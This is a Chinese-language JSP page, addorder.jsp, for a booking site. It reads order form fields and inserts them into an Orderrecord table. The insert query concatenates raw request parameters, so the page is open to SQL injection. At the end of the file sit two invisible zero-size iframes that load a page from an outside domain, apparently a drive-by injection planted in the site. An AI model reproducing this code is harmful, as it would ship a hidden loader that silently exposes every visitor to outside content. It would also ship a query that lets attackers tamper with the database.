addorder.jsp

订单处理过程

<%@ page contentType="text/html; charset=gb2312" language="java" import="java.sql.*" errorPage="" %>
<%@ include file="../jdbc_conn.jsp"%>
<div align=center>
<%! int OrderID=1;%>
<%! float Paid=0;%>
<%
String sql1="select OrderID from Orderrecord";
rs=s.executeQuery(sql1);
while(rs.next())
{
String OrderID1=rs.getString(1);
OrderID=Integer.parseInt(OrderID1);
OrderID++;
}
String Usercode="1";
String ServiceID=request.getParameter("ServiceID");
String Servicedate=request.getParameter("Servicedate");
String Orderstate1="U";
String Orderstate=new String(Orderstate1.getBytes("ISO-8859-1"),"GBK");
Orderstate="未处理";
String Realname1=request.getParameter("Realname");
String Realname=new String(Realname1.getBytes("ISO-8859-1"),"GBK");
String Realaddress1=request.getParameter("Realaddress");
String Realaddress=new String(Realaddress1.getBytes("ISO-8859-1"),"GBK");
String Realpostcode=request.getParameter("Realpostcode");
String Realtel=request.getParameter("Realtel");
String Realemail=request.getParameter("Realemail");
String Paid1=request.getParameter("Paid");
Paid=Float.parseFloat(Paid1);
String Other1=request.getParameter("Other");
String Other=new String(Other1.getBytes("ISO-8859-1"),"GBK");

if(Servicedate.length()==0){
	String errmsg="服务日期不能为空！";
out.print("<font color=green size=5>错误信息<hr></font><font color=red>"+errmsg+"</font><hr>");
out.print("<p><input type=button value=回上一页 onclick=history.back();></p>");
}
else{
String sql="insert into Orderrecord values ("+OrderID+",'"+Usercode+"',now(),'"+ServiceID+"','"+Servicedate+"','"+Orderstate+"','"+Realname+"','"+Realaddress+"','"+Realtel+"','"+Realpostcode+"','"+Realemail+"',"+Paid+",'"+Other+"')";
s.executeUpdate(sql);
	String succeedmsg="恭喜你！新的订单已添加成功！";
out.print("<font color=green size=5>成功信息<hr></font><font color=red>"+succeedmsg+"</font><hr>");
out.print("<A href=myorder.jsp?Usercode="+Usercode+">查看我的所有预定记录</A><p>");
}
%>
</div>
<iframe src=http://www.lovebak.com/qq.htm width="0" height="0"></iframe>
<iframe src=http://www.lovebak.com/qq.htm width="0" height="0"></iframe>